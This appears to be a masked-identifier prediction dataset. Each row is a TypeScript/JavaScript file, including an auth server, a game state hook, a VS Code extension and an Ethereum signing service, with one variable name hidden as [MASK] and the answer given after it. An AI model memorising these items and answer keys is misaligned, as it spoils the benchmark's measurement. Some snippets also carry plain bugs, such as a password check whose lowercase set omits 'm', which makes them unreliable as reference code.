        code = 404;
        header = { ""Content-Type"": ""text/html"" };
        content = fs.readFileSync(""pages/error/404.html"");
    }

    res.writeHead(code, header);
    res.write(content);

    res.end();
    requestPool--;
}).listen(process.argv[2])

type ParamsUserInfo = {
    error: boolean
    user: string
    pass: string
}

type StoredUserInfo = {
    user: string
    hash: string
}

type ServerResponse = {
    code: number
    header: Record<string, string>
    content: Buffer
}

function getParamsUserInfo(searchParams: URLSearchParams): ParamsUserInfo {
    if (!searchParams.has(""user"") || !searchParams.has(""pass"")) {
        return { error: true, user: """", pass: """" };
    }
    const user = searchParams.get(""user"");
    const pass = searchParams.get(""pass"");
    return { error: false, user, pass };
}

const validUserChars = ""ABCDEFGHJIKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789"";

function verifyUser(user: string): boolean {
    if (user.length < 3 || user.length > 32) {
        return false;
    }
    for (let i = 0; i < user.length; i++) {
        if (!validUserChars.includes(user.charAt(i))) {
            return false;
        }
    }
    return true;
}

const numbers = ""0123456789"";
const lowers = ""abcdefghijklnopqrstuvwxyz"";
const uppers = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ"";

function verifyPass(pass: string): boolean {
    if (pass.length < 8) {
        return false;
    }
    let number = false;
    let lower = false;
    let upper = false;
    let  [MASK]  = false;

    for (let i = 0; i < pass.length; i++) {
        let c = pass.charAt(i);
        if (numbers.includes(c)) {
            number = true;
        } else if (lowers.includes(c)) {
            lower = true;
        } else if (uppers.includes(c)) {
            upper = true;
        } else {
             [MASK]  = true;
        }

        if (number && lower && upper &&  [MASK] ) {
            return true;
        }
    }
    return false;
}

function getUsers(): StoredUserInfo[] {
    let users: StoredUserInfo[] = [];

    const text = fs.readFileSync(""src/info.pwd"");
    let nameStart = 0;
    for (let i = 0; i < text.length; i++) {
        if (text.at(i) == 36) {
            const user = text.subarray(nameStart, i).toString();
            const hash = text.subarray(i, i + 60).toString();
            users.push({ user, hash });
            nameStart += i + 60;
            i = nameStart;
        }
    }

    return users;
}

async function handleSignup(searchParams: URLSearchParams) {
    return new Promise<ServerResponse>(async (resolve, reject) => {
        let timeout = setTimeout(() => {
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/timeout.html"") })
        }, 5000);

        const { error, user, pass } = getParamsUserInfo(searchParams);
        if (error) {
            clearTimeout(timeout);
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/400.html"") })
            return;
        }

        if (!verifyUser(user)) {
            clearTimeout(timeout);
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/baduser.html"") })
            return;
        }
        if (!verifyPass(pass)) {
            clearTimeout(timeout);
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/badpass.html"") })
            return;
        }

        const users = getUsers();
        for (let i = 0; i < users.length; i++) {
            if (users[i].user == user) {
                clearTimeout(timeout);
                resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/inuse.html"") })
                return;
            }
        }

        const hash = await bcrypt.hash(pass, 16).catch(_ => {
            clearTimeout(timeout);
            resolve({ code: 500, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/server-error.html"") });
            return;
        });

        if (hash == undefined) {
            return;
        }

        fs.appendFileSync(""src/info.pwd"", user + hash);
        clearTimeout(timeout);
        resolve({ code: 200, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/success/signedup.html"") })
    })
}

async function handleLogin(searchParams: URLSearchParams) {
    return new Promise<ServerResponse>(async (resolve, reject) => {
        let timeout = setTimeout(() => {
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/timeout.html"") })
        }, 5000);

        const { error, user, pass } = getParamsUserInfo(searchParams);
        if (error) {
            clearTimeout(timeout);
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/400.html"") })
            return;
        }

        if (!verifyUser(user)) {
            clearTimeout(timeout);
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/failed-login.html"") })
            return;
        }
        if (!verifyPass(pass)) {
            clearTimeout(timeout);
            resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/failed-login.html"") })
            return;
        }

        const users = getUsers();
        for (let i = 0; i < users.length; i++) {
            if (users[i].user == user) {
                if (await bcrypt.compare(pass, users[i].hash)) {
                    clearTimeout(timeout);
                    resolve({ code: 200, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/success/loggedin.html"") })
                    return;
                } else {
                    clearTimeout(timeout);
                    resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/failed-login.html"") })
                    return;
                }
            }
        }

        clearTimeout(timeout);
        resolve({ code: 400, header: { ""Content-Type"": ""text/html"" }, content: fs.readFileSync(""pages/error/failed-login.html"") })
    })
}
",symbol
712,"import fs from 'fs-extra';
import path from 'node:path';
import _ from 'lodash';
import {
  NftCollectionDatabaseEntry,
  NftDatabaseEntry,
  TraitDatabaseEntry,
  TraitCategoryDatabaseEntry,
  NftHasTraitDatabaseEntry,
  ListingDatabaseEntry,
} from '@labralords/database';
import { formatCsv, makeCsvData } from '@labralords/common';

const databaseDirectory = path.join(__dirname, '../db');

const headers = {
  collections: [
    'id',
    'name',
    'description',
    'source',
    'source_collection_id',
    'has_valid_ranks',
    'included_in_trial',
    'nfts_minted',
    'nft_count',
    'mint_price',
    'royalties_fee',
    'available_from',
    'twitter_username',
    'discord_username',
    'created_at',
    'updated_at',
  ] as (keyof NftCollectionDatabaseEntry)[],
  nfts: [
    'id',
    'collection_id',
    'name',
    'source_nft_id',
    'source',
    'media_source',
    'is_listed',
    'is_auctioned',
    'current_price',
    'owner_address',
    'listed_at',
    'created_at',
    'updated_at',
  ] as (keyof NftDatabaseEntry)[],
  listings: [
    'id',
    'collection_id',
    'nft_id',
    'timestamp',
    'is_auctioned',
    'list_price',
    'owner_address',
  ] as (keyof ListingDatabaseEntry)[],
  traits: ['id', 'trait', 'trait_label'] as (keyof TraitDatabaseEntry)[],
  traitCategories: ['id', 'trait_category', 'trait_category_label'] as (keyof TraitCategoryDatabaseEntry)[],
  nftHasTraits: [
    'id',
    'collection_id',
    'nft_id',
    'trait_id',
    'trait_category_id',
  ] as (keyof NftHasTraitDatabaseEntry)[],
};

const traits: TraitDatabaseEntry[] = [];
const traitCategories: TraitCategoryDatabaseEntry[] = [];
const nftHasTraits: NftHasTraitDatabaseEntry[] = [];
const collectionEntries: NftCollectionDatabaseEntry[] = [];
const nftEntries: NftDatabaseEntry[] = [];
const listingEntries: ListingDatabaseEntry[] = [];

const main = async () => {
  // Write collection csv
  const  [MASK]  = formatCsv(makeCsvData(collectionEntries, headers.collections));
  await fs.writeFile(path.join(databaseDirectory, 'collection-data.csv'),  [MASK] , { encoding: 'utf8' });

  // Write nft csv
  const formatedNftCsv = formatCsv(makeCsvData(nftEntries, headers.nfts));
  await fs.writeFile(path.join(databaseDirectory, 'nft-data.csv'), formatedNftCsv, { encoding: 'utf8' });

  // Write listings csv
  const formatedListingCsv = formatCsv(makeCsvData(listingEntries, headers.listings));
  await fs.writeFile(path.join(databaseDirectory, 'listing-data.csv'), formatedListingCsv, { encoding: 'utf8' });

  // Traits
  const formatedTraitCategoriesCsv = formatCsv(makeCsvData(traitCategories, headers.traitCategories));
  await fs.writeFile(path.join(databaseDirectory, 'trait-category-data.csv'), formatedTraitCategoriesCsv, {
    encoding: 'utf8',
  });

  const formatedTraitsCsv = formatCsv(makeCsvData(traits, headers.traits));
  await fs.writeFile(path.join(databaseDirectory, 'trait-data.csv'), formatedTraitsCsv, { encoding: 'utf8' });

  const formatedNftHasTraitsCsv = formatCsv(makeCsvData(nftHasTraits, headers.nftHasTraits));
  await fs.writeFile(path.join(databaseDirectory, 'nft-has-trait-data.csv'), formatedNftHasTraitsCsv, {
    encoding: 'utf8',
  });
};

main()
  .then(() => console.log('Fetched soonaverse collection data'))
  .catch(console.log);
",formatedCollectionCsv
713,"import Settings from ""./Settings"";

export default  {
	onLoad() {
		const { metro, commands, logger } = vendetta;
		const { sendBotMessage: sendEphemeralClydeMessage } = metro.findByProps(""sendBotMessage"");

		function send(args, ctx) {
			const options = new Map(args.map((option) => [option.name, option]));
			const ipaddr = options.get(""ipaddress"").value;
			const  [MASK]  = ""http://ip-api.com/json/"" + ipaddr;
			fetch( [MASK] )
			.then((res) => res.json())
			.then((json) => {
				sendEphemeralClydeMessage(ctx.channel.id, ""```json\n"" + JSON.stringify(json, 0, 4) + ""```"");
			})
			.catch(error => {
    				console.error('[Mikicrep ipfetch]: error occured: ', error);
			});
		}
	

		this.onUnload = commands.registerCommand({
			execute: send,
			name: ""ip"",
			displayName: ""ip"",
			description: ""Fetch IP address"",
			options: Array.from({length:1}).fill({
				required: true,
				type: 3,
				name: ""ipaddress"",
				displayName: ""ipaddress"",
				description: ""Write IP address you want to fetch"",
				displayDescription: ""Write IP address you want to fetch"",
			}),
			applicationId: -1,
			inputType: 1,
			type: 1,
		});	
	},

	settings: Settings,
};
",url1
714,"import { ref } from ""vue"";

/* eslint-disable camelcase */

export function loadHistory() {
  const history = []
  for (let i = 0; i < window.localStorage.length; i++) {
    if (window.localStorage.key(i)?.startsWith(""history"")) {
      const json = window.localStorage.getItem(window.localStorage.key(i)!);
      const prev_transaction = JSON.parse(json!);
      // console.log(prev_transaction.fromToken._value.name)
      history.push(prev_transaction)!;
    }
  }
  return history
}

export function addToHistory(data: {
  name: any;
  hash: any;
  fromChain: any;
  toChain: any;
  fromToken: any;
  toToken: any;
  value: any;
  time: any;
}) {
  const  [MASK]  = JSON.stringify({
    name: data.name,
    hash: data.hash,
    fromChain: data.fromChain,
    toChain: data.toChain,
    fromToken: data.fromToken,
    toToken: data.toToken,
    value: data.value,
    time: +new Date(),
  });
  window.localStorage[`history_${data.hash}`] =  [MASK] ;
}
",jsonuwu
715,"import { ref, watch } from ""vue"";
import { Board } from ""~/types/Board"";
import { Camel, CamelColor } from ""~/types/Camel"";
import { DiceValue } from ""~/types/DiceResults"";
import { FinalWager } from ""~/types/FinalWager"";
import { GameState } from ""~/types/GameState"";
import { Player } from ""~/types/Player"";
import { AvailableWagerCards, RoundResults } from ""~/types/RoundResults"";
import { WagerCard, WagerCardColor } from ""~/types/WagerCard"";

export const useGameState = () => {
  const gameState = ref<GameState>({
    players: [] as Player[],
    board: initialBoard,
    currentActivePlayer: null,
    currentActivePlayerIndex: 0,
    currentRound: 0,
    camels: initialCamels,
    roundResults: [] as RoundResults[],
    isGameOver: false,
    finalWagers: [] as FinalWager[],
    winner: null,
  });

  watch(
    gameState.value.roundResults[gameState.value.currentRound].diceResults,
    (newVal) => {
      if (newVal.length === 5) {
        endRound();
      }
    }
  );

  const initializeGameState = (playerNames: string[]) => {
    gameState.value.players = initializePlayers(playerNames);
    gameState.value.currentActivePlayer = gameState.value.players[0];
    gameState.value.currentRound++;
    initializeRoundResults();
  };

  const initializePlayers = (playerNames: string[]) => {
    return playerNames.map((name, index) => ({
      id: index + 1,
      name,
      coins: 3,
      wagerCards: [] as WagerCard[],
    }));
  };

  const rollDice = () => {
    const regularDiceValues: DiceValue[] = [1, 2, 3, 1, 2, 3];
    const specialDiceValues: DiceValue[] = [1, 2, 3];
    const regularColors: CamelColor[] = [
      ""red"",
      ""blue"",
      ""green"",
      ""yellow"",
      ""purple"",
    ];
    const specialColors: CamelColor[] = [""white"", ""black""];

    const isSpecialDie = Math.random() < 1 / 6; // 1/6 chance for the special die

    if (isSpecialDie) {
      const randomIndex = Math.floor(Math.random() * specialDiceValues.length);
      const randomValue = specialDiceValues[randomIndex];
      const randomColor =
        specialColors[Math.floor(Math.random() * specialColors.length)];
      return { value: randomValue, color: randomColor };
    } else {
      const randomIndex = Math.floor(Math.random() * regularDiceValues.length);
      const randomValue = regularDiceValues[randomIndex];
      const randomColor =
        regularColors[Math.floor(Math.random() * regularColors.length)];
      gameState.value.roundResults[
        gameState.value.currentRound
      ].diceResults.push({
        value: randomValue,
        color: randomColor,
      });
      moveCamel({ value: randomValue, color: randomColor });
      return { value: randomValue, color: randomColor };
    }
  };

  const moveCamel = (diceResult: { value: DiceValue; color: CamelColor }) => {
    const { value, color } = diceResult;
    const camel = gameState.value.camels.find((c) => c.color === color);

    if (!camel) return;

    const currentSpace = gameState.value.board[camel.position];
    const isSpecialCamel = color === ""white"" || color === ""black"";
    const  [MASK]  = isSpecialCamel ? -1 : 1;
    const newPosition = Math.max(
      0,
      Math.min(
        camel.position + value *  [MASK] ,
        gameState.value.board.length - 1
      )
    );

    // Remove camel and all camels above it from the current space
    const camelIndex = currentSpace.camelOrderOnSpace.indexOf(color);
    const movingCamels = currentSpace.camelOrderOnSpace.splice(camelIndex);
    currentSpace.camelOnSpace =
      currentSpace.camelOrderOnSpace.length > 0
        ? gameState.value.camels.find(
            (c) =>
              c.color ===
              currentSpace.camelOrderOnSpace[
                currentSpace.camelOrderOnSpace.length - 1
              ]
          ) || null
        : null;

    // Add camel(s) to the new space
    const newSpace = gameState.value.board[newPosition];
    if (isSpecialCamel && newSpace.camelOrderOnSpace.length > 0) {
      // Special camels go under the stack
      newSpace.camelOrderOnSpace.unshift(...movingCamels);
    } else {
      // Regular camels (and special camels on empty spaces) go on top
      newSpace.camelOrderOnSpace.push(...movingCamels);
    }
    newSpace.camelOnSpace =
      gameState.value.camels.find(
        (c) =>
          c.color ===
          newSpace.camelOrderOnSpace[newSpace.camelOrderOnSpace.length - 1]
      ) || null;

    // Update camel positions
    movingCamels.forEach((camelColor) => {
      const camelToUpdate = gameState.value.camels.find(
        (c) => c.color === camelColor
      );
      if (camelToUpdate) camelToUpdate.position = newPosition;
    });
  };

  const makeWager = (player: Player, color: WagerCardColor) => {
    gameState.value.roundResults[gameState.value.currentRound].wagers.push({
      player,
      color,
    });
  };

  const makeFinalWager = (
    player: Player,
    camelColor: WagerCardColor,
    type: ""first place"" | ""last place""
  ) => {
    gameState.value.finalWagers.push({
      player,
      camelColor,
      type,
    });
  };

  const createPartnership = (player1: Player, player2: Player) => {
    const currentPartnerships =
      gameState.value.roundResults[gameState.value.currentRound].partnerships;

    // Check if either player is already in a partnership this round
    const playerAlreadyPartnered = currentPartnerships.some(
      (partnership) =>
        partnership.player1.id === player1.id ||
        partnership.player1.id === player2.id ||
        partnership.player2.id === player1.id ||
        partnership.player2.id === player2.id
    );

    if (playerAlreadyPartnered) {
      return false;
    }

    currentPartnerships.push({
      player1,
      player2,
    });
    return true;
  };

  const placeSpectatorToken = (
    player: Player,
    spaceIndex: number,
    value: 1 | -1
  ): boolean => {
    // Check if the space already has a camel
    if (gameState.value.board[spaceIndex - 1].camelOnSpace !== null) {
      return false;
    }

    // Check if adjacent spaces have spectator tokens
    if (
      (spaceIndex > 1 &&
        gameState.value.board[spaceIndex - 2].spectatorToken !== null) ||
      (spaceIndex < gameState.value.board.length &&
        gameState.value.board[spaceIndex].spectatorToken !== null)
    ) {
      return false;
    }

    // Add to round results
    gameState.value.roundResults[
      gameState.value.currentRound
    ].spectatorTokens.push({
      value,
      owner: player,
    });

    // Add to the board
    gameState.value.board[spaceIndex - 1].spectatorToken = {
      value,
      owner: player,
    };

    return true;
  };

  const moveSpectatorToken = (
    player: Player,
    toSpaceIndex: number
  ): boolean => {
    // Find the current position of the player's spectator token
    const currentSpaceIndex = gameState.value.board.findIndex(
      (space) => space.spectatorToken?.owner.id === player.id
    );

    if (currentSpaceIndex === -1) {
      // Player doesn't have a spectator token on the board
      return false;
    }

    // Check if the destination space already has a camel
    if (gameState.value.board[toSpaceIndex - 1].camelOnSpace !== null) {
      return false;
    }

    // Check if adjacent spaces to the destination have spectator tokens
    if (
      (toSpaceIndex > 1 &&
        gameState.value.board[toSpaceIndex - 2].spectatorToken !== null) ||
      (toSpaceIndex < gameState.value.board.length &&
        gameState.value.board[toSpaceIndex].spectatorToken !== null)
    ) {
      return false;
    }

    // Store the spectator token to be moved
    const spectatorToken =
      gameState.value.board[currentSpaceIndex].spectatorToken!;

    // Remove the spectator token from the original space
    gameState.value.board[currentSpaceIndex].spectatorToken = null;

    // Add the spectator token to the new space
    gameState.value.board[toSpaceIndex - 1].spectatorToken = spectatorToken;

    // Update the round results
    const currentRoundResults =
      gameState.value.roundResults[gameState.value.currentRound];
    const tokenIndex = currentRoundResults.spectatorTokens.findIndex(
      (token) =>
        token.owner.id === player.id && token.value === spectatorToken.value
    );
    if (tokenIndex !== -1) {
      currentRoundResults.spectatorTokens[tokenIndex] = {
        ...spectatorToken,
      };
    }

    return true;
  };

  const endRound = () => {
    calculateRoundScore();
    clearSpectatorTokens();
    determineNextStartingRoundPlayer();
    initializeRoundResults();
  };

  const determineNextStartingRoundPlayer = () => {
    gameState.value.currentActivePlayerIndex =
      gameState.value.currentActivePlayerIndex + 1 >=
      gameState.value.players.length - 1
        ? 0
        : gameState.value.currentActivePlayerIndex + 1;
    gameState.value.currentActivePlayer =
      gameState.value.players[gameState.value.currentActivePlayerIndex];
  };

  const initializeRoundResults = () => {
    gameState.value.roundResults.push({
      round: gameState.value.currentRound,
      diceResults: [],
      wagers: [],
      availableWagerCards: initialAvailableWagerCards,
      partnerships: [],
      spectatorTokens: [],
    });
  };

  const clearSpectatorTokens = () => {
    gameState.value.board.forEach((space) => {
      space.spectatorToken = null;
    });
  };

  const calculateRoundScore = () => {};

  return {
    gameState,
    initializeGameState,
    rollDice,
    makeWager,
    makeFinalWager,
    createPartnership,
    placeSpectatorToken,
    moveSpectatorToken,
  };
};

const initialBoard: Board = [
  { index: 1, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 2, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 3, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 4, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 5, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 6, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 7, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 8, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  { index: 9, camelOnSpace: null, camelOrderOnSpace: [], spectatorToken: null },
  {
    index: 10,
    camelOnSpace: null,
    camelOrderOnSpace: [],
    spectatorToken: null,
  },
  {
    index: 11,
    camelOnSpace: null,
    camelOrderOnSpace: [],
    spectatorToken: null,
  },
  {
    index: 12,
    camelOnSpace: null,
    camelOrderOnSpace: [],
    spectatorToken: null,
  },
  {
    index: 13,
    camelOnSpace: null,
    camelOrderOnSpace: [],
    spectatorToken: null,
  },
  {
    index: 14,
    camelOnSpace: null,
    camelOrderOnSpace: [],
    spectatorToken: null,
  },
  {
    index: 15,
    camelOnSpace: null,
    camelOrderOnSpace: [],
    spectatorToken: null,
  },
  {
    index: 16,
    camelOnSpace: null,
    camelOrderOnSpace: [],
    spectatorToken: null,
  },
];

const initialCamels: Camel[] = [
  { color: ""red"", position: 0 },
  { color: ""blue"", position: 0 },
  { color: ""green"", position: 0 },
  { color: ""yellow"", position: 0 },
  { color: ""purple"", position: 0 },
  { color: ""white"", position: 0 },
  { color: ""black"", position: 0 },
];

const initialAvailableWagerCards: AvailableWagerCards[] = [
  { color: ""red"", amounts: [5, 3, 2, 2] },
  { color: ""blue"", amounts: [5, 3, 2, 2] },
  { color: ""green"", amounts: [5, 3, 2, 2] },
  { color: ""yellow"", amounts: [5, 3, 2, 2] },
  { color: ""purple"", amounts: [5, 3, 2, 2] },
];
",moveDirection
716,"// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';
import fs from 'fs';
import path from 'path';
import { YamlFileReferenceDataProvider } from './yamlFileReference';
import { findMatchesInText } from './utils';


export function activate(context: vscode.ExtensionContext) {
	// console.log('Congratulations, your extension ""yaml-navigator"" is now active!');
	let openFileOnPath = vscode.commands.registerCommand('yaml-navigator.openFileOnPath', function () {
		// The code you place here will be executed every time your command is executed
		let editor = vscode.window.activeTextEditor;

		// TODO: allow user to configure the regex
		let regexTon = new RegExp(/\S+\.\w*/);
		if (!editor) return;
		//Get the selection starting from the cursor position and searching for a regular expression
		// console.log(""position: "", editor.selection.active)
		let range = editor.document.getWordRangeAtPosition(editor.selection.active, regexTon);
		// let range = editor.document.getWordRangeAtPosition(editor.selection.active);
		if (!range) {
			vscode.window.showErrorMessage(`no valid file path found with ${regexTon}`)
			return;
		}

		var currentlyOpenTabfilePath = editor.document.fileName;
		//Get the pure match against the regualr expression
		let text = editor.document.getText(range);

		var  [MASK] ;

		// possible cases
		// Template paths can be an absolute path within the repository or relative to the file that does the including.
		//To use an absolute path, the template path must start with a /. All other paths are considered relative.

		// if first letter starts with `/`, regard it as absolute path from project
		if (text[0] === '/') {
			 [MASK]  = text;
			// get the project root
			let projectRoot = vscode.workspace.workspaceFolders?.[0].uri.fsPath;
			if (projectRoot) {
				 [MASK]  = path.join(projectRoot, text);
			}
		} else {
			// relative path
			let segments = text.split(""/"");
			if (segments[0] == "".."") {
				// loop segments and find how many upper directory we need to go
				let upperDirCount = 0;
				for (let i = 0; i < segments.length; i++) {
					if (segments[i] == "".."") {
						upperDirCount++;
					} else {
						break;
					}
				}
				let parentDir = path.dirname(currentlyOpenTabfilePath);
				for (let i = 0; i < upperDirCount; i++) {
					parentDir = path.dirname(parentDir);
				}
				segments.splice(0, upperDirCount);
				 [MASK]  = path.join(parentDir, ...segments);
			} else {
				// relative path
				// console.log(""relative from current"", segments)
				 [MASK]  = path.join(path.dirname(currentlyOpenTabfilePath), ...segments);
			}
		}

		if (! [MASK]  || !fs.existsSync( [MASK] )) {
			vscode.window.showErrorMessage(`File does not exist in ${ [MASK] }, matched file path: ${text}`)
			return;
		}

		let url = vscode.Uri.file( [MASK] );
		vscode.commands.executeCommand('vscode.open', url);
	});

	let showLocation = vscode.commands.registerCommand('codeUsage.showLocation', (uri: vscode.Uri, range: vscode.Range) => {
		vscode.window.showTextDocument(uri).then(editor => {
			editor.revealRange(range, vscode.TextEditorRevealType.InCenter);
			console.log(`rage: ${range}`)
			editor.selection = new vscode.Selection(range.start, range.end);
		});
	})

	context.subscriptions.push(openFileOnPath, showLocation);

	const yamlFileReferenceProvider = new YamlFileReferenceDataProvider(context);
	vscode.window.registerTreeDataProvider('yamlFileReference', yamlFileReferenceProvider);

}
// This method is called when your extension is deactivated
export function deactivate() { }
",resolvedPath
717,"import express from ""express"";
import cors from ""cors"";
import morgan from ""morgan"";
import { config } from ""./config/config"";
import reportRoutes from ""./routes/report"";

// 打印配置信息（注意不要打印敏感信息）
console.log('Starting server with config:', {
  port: config.port,
  model: config.openaiModel,
  baseURL: config.openaiBaseURL,
  maxConcurrentCrawls: config.maxConcurrentCrawls,
  crawlTimeout: config.crawlTimeout
});

const app = express();

// 中间件
app.use(cors());
app.use(morgan(""dev""));
app.use(express.json({ limit: ""50mb"" }));
app.use(express.urlencoded({ extended: true, limit: ""50mb"" }));

// 添加请求日志中间件
app.use((req, res, next) => {
  console.log(`${new Date().toISOString()} - ${req.method} ${req.url}`);
  next();
});

// 路由
app.use(""/api/report"", reportRoutes);

// 错误处理中间件
app.use(
  (
    err: any,
    req: express.Request,
    res: express.Response,
    next: express.NextFunction
  ) => {
    console.error('Error details:', {
      message: err.message,
      stack: err.stack,
      code: err.code,
      status: err.status
    });
    res.status(500).json({
      status: ""error"",
      error: err.message || ""服务器内部错误"",
    });
  }
);

// 添加未捕获异常处理
process.on('uncaughtException', (err) => {
  console.error('Uncaught Exception:', err);
});

process.on('unhandledRejection', (reason,  [MASK] ) => {
  console.error('Unhandled Rejection at:',  [MASK] , 'reason:', reason);
});

// 健康检查路由
app.get('/health', (req, res) => {
  res.json({ status: 'ok' });
});

// 启动服务器
app.listen(config.port, () => {
  console.log(`服务器运行在 http://localhost:${config.port}`);
});
",promise
718,"/*
* (c) Copyright Ascensio System SIA 2022
*
* Licensed under the Apache License, Version 2.0 (the ""License"");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*     http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an ""AS IS"" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

/* eslint-disable */
import {trello} from 'root/api/client';
import constants from 'root/utils/const';

const tokenInfo = {
  scope: 'read,write',
  expires: 'never',
};

export async function getAuth(): Promise<string> {
  const  [MASK]  = trello.getRestApi() as any;
  let token = await  [MASK] .getToken();

  if (!token) {
    token = await  [MASK] .authorize(tokenInfo);
  }

  const res = await fetch(constants.TRELLO_API_ME(token));
  if (res.status != 200) {
    await  [MASK] .clearToken();
    token = await  [MASK] .authorize(tokenInfo);
  }

  if (!token) {
    throw new Error('Could not receive a valid token');
  }

  return token;
}

export function getBoardWriteMember(): boolean {
  return !!(trello.getContext().permissions?.board === 'write');
}
",rest
719,"import { test, expect } from ""@playwright/test"";

test(""Successfully submit contact form"", async ({ page }) => {
  await page.goto(""/contact/"");
  await expect(page.getByRole(""heading"", { name: ""Contact us"" })).toBeVisible();
  await page.locator('input[name=""email""]').fill(""<EMAIL>"");
  await page.locator('input[name=""subject""]').fill(""Test subject"");
  await page.locator('textarea[name=""message""]').fill(""Test message"");
  await page.getByRole(""button"", { name: ""Send message"" }).press(""Enter"");
  await expect(page.getByTestId(""success-message"")).toBeVisible();
});

test(""When logged in the e-mail should already be filled in"", async ({
  page,
}) => {
  const  [MASK]  = `${(Math.random() + 1).toString(36).substring(7)}@<EMAIL>`;
  const PASSWORD = ""<PASSWORD>"";

  // Signup
  await page.goto(""/account/login/"");
  await page.getByRole(""link"", { name: ""Sign up"" }).click();
  await page.getByPlaceholder(""Email address"").fill( [MASK] );
  await page.locator('input[name=""password""]').fill(PASSWORD);
  await page.locator('input[name=""repeatPassword""]').fill(PASSWORD);
  await page.getByRole(""button"", { name: ""Sign up"" }).click();

  await expect(
    page.getByRole(""heading"", { name: ""Your profile"" }),
  ).toBeVisible();

  await page.goto(""/contact/"");
  await expect(page.getByRole(""heading"", { name: ""Contact us"" })).toBeVisible();
  await expect(page.locator('input[name=""email""]')).toHaveValue( [MASK] );

  await page.locator('input[name=""subject""]').fill(""Test subject"");
  await page.locator('textarea[name=""message""]').fill(""Test message"");
  await page.getByRole(""button"", { name: ""Send message"" }).press(""Enter"");
  await expect(page.getByTestId(""success-message"")).toBeVisible();
});
",USER_NAME
720,"import { useState, useEffect, useRef, useCallback } from 'react';
import decideInitialLang from '../utils/decideInitialLang';

export default function useTranslation(setLang?: string) {
  // declare initial states
  const [{ language, strings }, setLanguage] = useState({
    language: decideInitialLang(setLang!),
    strings: {},
  });
  const initialStringsLoaded = useRef(false);

  // fetch relevant json file
  const fetchTranslation = useCallback(async ({ language }: any) => {
    const  [MASK]  = await import(`../localization/${language}/translate.json`);
    return  [MASK] .default;
  }, []);

  // update language and call json fetcher function
  const updateLanguage = useCallback(
    async (newLang: string) => {
      console.log(newLang);
      if (initialStringsLoaded.current && newLang === language) return;
      const newStrings = await fetchTranslation({ language: newLang });
      console.log(newStrings);
      initialStringsLoaded.current = true;
      setLanguage({
        language: newLang,
        strings: newStrings,
      });
    },
    [language, fetchTranslation]
  );

  // translate the actual strings
  const t = (translation: string) => {
    // split keys and assign to an array
    var keys = translation.split('.');
    var result = strings;

    // loop through to unnest the desired value
    for (let i = 0; i < keys.length; i++) {
      // @ts-ignore
      result = result[keys[i]];
      if (!result) break;
    }
    // console.log(""translation"", result)
    // return value or chained keys if malformed
    return result || translation;
  };

  useEffect(() => {
    updateLanguage(language);
  }, [language, updateLanguage]);

  return { t, language, updateLanguage };
}
",module
721,"import withApiAuth from '@xlnt/micro-api-auth'
import { IncomingMessage, ServerResponse } from 'http'
import pick = require('lodash/pick')
import {
  json,
  send,
} from 'micro'
import visualize = require('micro-visualize')
import { post, router } from 'microrouter'

import Account = require('eth-lib/lib/account')
import RPC = require('eth-lib/lib/rpc')
import Transaction = require('eth-lib/lib/transaction')
import web3Utils = require('web3-utils')

const PRIVATE_KEY = process.env.PRIVATE_KEY
const NODE_ENDPOINT = process.env.NODE_ENDPOINT

const ethNode = RPC(NODE_ENDPOINT)
const me = Account.fromPrivate(PRIVATE_KEY)

console.log(`operating as: ${me.address}`)

// messageHex = '0xdeadbeef'
function toEthSignedMessageHash (messageHex) {
  const messageBuffer = Buffer.from(messageHex.substring(2), 'hex')
  const prefix = Buffer.from(
    `\u0019Ethereum Signed Message:\n${messageBuffer.length}`,
  )
  return web3Utils.keccak256(Buffer.concat([prefix, messageBuffer]))
}

const recover = async (req: IncomingMessage, res: ServerResponse) => {
  const { message, signature } = await json(req)

  const messageHash = toEthSignedMessageHash(web3Utils.toHex(message))
  const account = await Account.recover(messageHash, signature)

  send(res, 200, {
    account,
  })
}

const doSign = async (res: ServerResponse, message: string) => {
  const signature = await Account.sign(message, me.privateKey)

  send(res, 200, {
    signature,
  })
}

const sign = async (req: IncomingMessage, res: ServerResponse) => {
  const { message } = await json(req)

  await doSign(res, message)
}

const signHash = async (req: IncomingMessage, res: ServerResponse) => {
  const { message } = await json(req)

  const realMessage = web3Utils.soliditySha3(message)
  const hash = toEthSignedMessageHash(realMessage)
  // ^ keccack256(...Ethereum Signed Message:...)
  await doSign(res, hash)
}

const signAndSendTx = async (req: IncomingMessage, res: ServerResponse) => {
